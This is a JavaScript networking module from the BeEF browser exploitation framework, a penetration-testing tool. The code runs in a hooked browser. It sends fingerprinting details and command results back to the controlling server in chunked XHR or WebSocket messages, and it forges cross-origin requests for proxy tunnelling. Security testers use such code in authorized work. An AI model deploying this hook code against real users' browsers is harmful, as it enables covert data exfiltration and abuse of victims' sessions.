// // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /** * Provides basic networking functions, * like beef.net.request and beef.net.forgeRequest, * used by BeEF command modules and the Requester extension, * as well as beef.net.send which is used to return commands * to BeEF server-side components. * * Also, it contains the core methods used by the XHR-polling * mechanism (flush, queue) * @namespace beef.net * */ beef.net = { host: "<%= @beef_host %>", port: "<%= @beef_port %>", hook: "<%= @beef_hook %>", httpproto: "<%= @beef_proto %>", handler: '/dh', chop: 500, pad: 30, //this is the amount of padding for extra params such as pc, pid and sid sid_count: 0, cmd_queue: [], /** * Command object. This represents the data to be sent back to BeEF, * using the beef.net.send() method. */ command: function () { this.cid = null; this.results = null; this.status = null; this.handler = null; this.callback = null; }, /** * Packet object. A single chunk of data. X packets -> 1 stream */ packet: function () { this.id = null; this.data = null; }, /** * Stream object. Contains X packets, which are command result chunks. */ stream: function () { this.id = null; this.packets = []; this.pc = 0; this.get_base_url_length = function () { return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length; }; this.get_packet_data = function () { var p = this.packets.shift(); return {'bh': beef.session.get_hook_session_id(), 'sid': this.id, 'pid': p.id, 'pc': this.pc, 'd': p.data } }; }, /** * Response Object - used in the beef.net.request callback * NOTE: as we are using async mode, the response object will be empty if returned. * Using sync mode, request obj fields will be populated. */ response: function () { this.status_code = null; // 500, 404, 200, 302 this.status_text = null; // success, timeout, error, ... this.response_body = null; // "…." if not a cross-origin request this.port_status = null; // tcp port is open, closed or not http this.was_cross_origin = null; // true or false this.was_timedout = null; // the user specified timeout was reached this.duration = null; // how long it took for the request to complete this.headers = null; // full response headers }, /** * Queues the specified command results. * @param {String} handler the server-side handler that will be called * @param {Integer} cid command id * @param {String} results the data to send * @param {Integer} status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success') * @param {Function} callback the function to call after execution */ queue: function (handler, cid, results, status, callback) { if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) { var s = new beef.net.command(); s.cid = cid; s.results = beef.net.clean(results); s.status = status; s.callback = callback; s.handler = handler; this.cmd_queue.push(s); } }, /** * Queues the current command results and flushes the queue straight away. * NOTE: Always send Browser Fingerprinting results * (beef.net.browser_details(); -> /init handler) using normal XHR-polling, * even if WebSockets are enabled. * @param {String} handler the server-side handler that will be called * @param {Integer} cid command id * @param {String} results the data to send * @param {Integer} exec_status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success') * @param {Function} callback the function to call after execution * @return {Integer} the command module execution status (defaults to 0 - 'unknown' if status is null) */ send: function (handler, cid, results, exec_status, callback) { // defaults to 'unknown' execution status if no parameter is provided, otherwise set the status var status = 0; if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status} if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) { this.queue(handler, cid, results, status, callback); this.flush(); } else { try { beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid + '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) + '", "status": "' + exec_status + '", "callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }'); } catch (e) { this.queue(handler, cid, results, status, callback); this.flush(); } } return status; }, /** * Flush all currently queued command results to the framework, * chopping the data in chunks ('chunk' method) which will be re-assembled * server-side by the network stack. * NOTE: currently 'flush' is used only with the default * XHR-polling mechanism. If WebSockets are used, the data is sent * back to BeEF straight away. */ flush: function (callback) { if (this.cmd_queue.length > 0) { var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue)); this.cmd_queue.length = 0; this.sid_count++; var stream = new this.stream(); stream.id = this.sid_count; var pad = stream.get_base_url_length() + this.pad; //cant continue if chop amount is too low if ((this.chop - pad) > 0) { var data = this.chunk(data, (this.chop - pad)); for (var i = 1; i <= data.length; i++) { var packet = new this.packet(); packet.id = i; packet.data = data[(i - 1)]; stream.packets.push(packet); } stream.pc = stream.packets.length; this.push(stream, callback); } } else { if ((typeof callback != 'undefined') && (callback != null)) { callback(); } } }, /** * Split the input data into chunk lengths determined by the amount parameter. * @param {String} str the input data * @param {Integer} amount chunk length */ chunk: function (str, amount) { if (typeof amount == 'undefined') n = 2; return str.match(RegExp('.{1,' + amount + '}', 'g')); }, /** * Push the input stream back to the BeEF server-side components. * It uses beef.net.request to send back the data. * @param {Object} stream the stream object to be sent back. */ push: function (stream, callback) { //need to implement wait feature here eventually if (typeof callback === 'undefined') { callback = null; } for (var i = 0; i < stream.pc; i++) { var cb = null; if (i == (stream.pc - 1)) { cb = callback; } this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', cb); } }, /** * Performs http requests * @param {String} scheme HTTP or HTTPS * @param {String} method GET or POST * @param {String} domain bindshell.net, 192.168.3.4, etc * @param {Int} port 80, 5900, etc * @param {String} path /path/to/resource * @param {String} anchor this is the value that comes after the # in the URL * @param {String} data This will be used as the query string for a GET or post data for a POST * @param {Int} timeout timeout the request after N seconds * @param {String} dataType specify the data return type expected (ie text/html/script) * @param {Function} callback call the callback function at the completion of the method * * @return {Object} this object contains the response details */ request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) { //check if same origin or cross origin var cross_origin = true; if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks if (document.location.port == "" || document.location.port == null) { cross_origin = !(port == "80" || port == "443"); } } //build the url var url = ""; if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) { url = path; } else { url = scheme + "://" + domain; url = (port != null) ? url + ":" + port : url; url = (path != null) ? url + path : url; url = (anchor != null) ? url + "#" + anchor : url; } //define response object var response = new this.response; response.was_cross_origin = cross_origin; var start_time = new Date().getTime(); /* * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script': * This will turn POSTs into GETs for cross origin requests. */ if (method == "POST") { $j.ajaxSetup({ dataType: dataType }); } else { $j.ajaxSetup({ dataType: 'script' }); } //build and execute the request $j.ajax({type: method, url: url, data: data, timeout: (timeout * 1000), //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated. beforeSend: function (xhr) { if (method == "POST") { xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8"); } }, success: function (data, textStatus, xhr) { var end_time = new Date().getTime(); response.status_code = xhr.status; response.status_text = textStatus; response.response_body = data; response.port_status = "open"; response.was_timedout = false; response.duration = (end_time - start_time); }, error: function (jqXHR, textStatus, errorThrown) { var end_time = new Date().getTime(); response.response_body = jqXHR.responseText; response.status_code = jqXHR.status; response.status_text = textStatus; response.duration = (end_time - start_time); response.port_status = "open"; }, complete: function (jqXHR, textStatus) { response.status_code = jqXHR.status; response.status_text = textStatus; response.headers = jqXHR.getAllResponseHeaders(); // determine if TCP port is open/closed/not-http if (textStatus == "timeout") { response.was_timedout = true; response.response_body = "ERROR: Timed out\n"; response.port_status = "closed"; } else if (textStatus == "parsererror") { response.port_status = "not-http"; } else { response.port_status = "open"; } } }).always(function () { if (callback != null) { callback(response); } }); return response; }, /** * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests: * - requestid: needed on the callback * - allowCrossOrigin: set cross-origin requests as allowed or blocked * * forge_request is used mainly by the Requester and Tunneling Proxy Extensions. * Example usage: * beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz", * true, null, { foo: "bar" }, 5, 'html', false, null, function(response) { * alert(response.response_body)}) */ forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossOrigin, requestid, callback) { if (domain == "undefined" || path == "undefined") { beef.debug("[beef.net.forge_request] Error: Malformed request. No host specified."); return; } // check if same origin or cross origin var cross_origin = true; if (document.domain == domain && document.location.protocol == scheme + ':') { if (document.location.port == "" || document.location.port == null) { cross_origin = !(port == "80" || port == "443"); } else { if (document.location.port == port) cross_origin = false; } } // build the url var url = ""; if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) { url = path; } else { url = scheme + "://" + domain; url = (port != null) ? url + ":" + port : url; url = (path != null) ? url + path : url; url = (anchor != null) ? url + "#" + anchor : url; } // define response object var response = new this.response; response.was_cross_origin = cross_origin; var start_time = new Date().getTime(); // if cross-origin requests are not allowed and the request is cross-origin // don't proceed and return if (allowCrossOrigin == "false" && cross_origin) { beef.debug("[beef.net.forge_request] Error: Cross Domain Request. The request was not sent."); response.status_code = -1; response.status_text = "crossorigin"; response.port_status = "crossorigin"; response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n"; response.headers = "ERROR: Cross Domain Request. The request was not sent.\n"; if (callback != null) callback(response, requestid); return response; } // if the request was cross-origin from a HTTPS origin to HTTP // don't proceed and return if (document.location.protocol == 'https:' && scheme == 'http') { beef.debug("[beef.net.forge_request] Error: Mixed Active Content. The request was not sent."); response.status_code = -1; response.status_text = "mixedcontent"; response.port_status = "mixedcontent"; response.response_body = "ERROR: Mixed Active Content. The request was not sent.\n"; response.headers = "ERROR: Mixed Active Content. The request was not sent.\n"; if (callback != null) callback(response, requestid); return response; } /* * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script': * This will turn POSTs into GETs for cross origin requests. */ if (method == "POST") { $j.ajaxSetup({ dataType: dataType }); } else { $j.ajaxSetup({ dataType: 'script' }); } // this is required for bugs in IE so data can be transferred back to the server if (beef.browser.isIE()) { dataType = 'script' } $j.ajax({type: method, dataType: dataType, url: url, headers: headers, timeout: (timeout * 1000), //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated. beforeSend: function (xhr) { if (method == "POST") { xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8"); } }, data: data, // http server responded successfully success: function (data, textStatus, xhr) { var end_time = new Date().getTime(); response.status_code = xhr.status; response.status_text = textStatus; response.response_body = data; response.was_timedout = false; response.duration = (end_time - start_time); }, // server responded with a http error (403, 404, 500, etc) // or server is not a http server error: function (xhr, textStatus, errorThrown) { var end_time = new Date().getTime(); response.response_body = xhr.responseText; response.status_code = xhr.status; response.status_text = textStatus; response.duration = (end_time - start_time); }, complete: function (xhr, textStatus) { // cross-origin request if (cross_origin) { response.port_status = "crossorigin"; if (xhr.status != 0) { response.status_code = xhr.status; } else { response.status_code = -1; } if (textStatus) { response.status_text = textStatus; } else { response.status_text = "crossorigin"; } if (xhr.getAllResponseHeaders()) { response.headers = xhr.getAllResponseHeaders(); } else { response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n"; } if (!response.response_body) { response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n"; } } else { // same-origin request response.status_code = xhr.status; response.status_text = textStatus; response.headers = xhr.getAllResponseHeaders(); // determine if TCP port is open/closed/not-http if (textStatus == "timeout") { response.was_timedout = true; response.response_body = "ERROR: Timed out\n"; response.port_status = "closed"; /* * With IE we need to explicitly set the dataType to "script", * so there will be always parse-errors if the content is != javascript * */ } else if (textStatus == "parsererror") { response.port_status = "not-http"; if (beef.browser.isIE()) { response.status_text = "success"; response.port_status = "open"; } } else { response.port_status = "open"; } } callback(response, requestid); } }); return response; }, /** this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {} * http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/ */ clean: function (r) { if (this.array_has_string_key(r)) { var obj = {}; for (var key in r) obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key]; return obj; } return r; }, /** Detects if an array has a string key */ array_has_string_key: function (arr) { if ($j.isArray(arr)) { try { for (var key in arr) if (isNaN(parseInt(key))) return true; } catch (e) { } } return false; }, /** * Checks if the specified port is valid */ is_valid_port: function (port) { if (isNaN(port)) return false; if (port > 65535 || port < 0) return false; return true; }, /** * Checks if the specified IP address is valid */ is_valid_ip: function (ip) { if (ip == null) return false; var ip_match = ip.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); if (ip_match == null) return false; return true; }, /** * Checks if the specified IP address range is valid */ is_valid_ip_range: function (ip_range) { if (ip_range == null) return false; var range_match = ip_range.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); if (range_match == null || range_match[1] == null) return false; return true; }, /** * Sends back browser details to framework, calling beef.browser.getDetails() */ browser_details: function () { var details = beef.browser.getDetails(); var res = null; details['HookSessionID'] = beef.session.get_hook_session_id(); this.send('/init', 0, details); if(details != null) res = true; return res; } }; beef.regCmp('beef.net');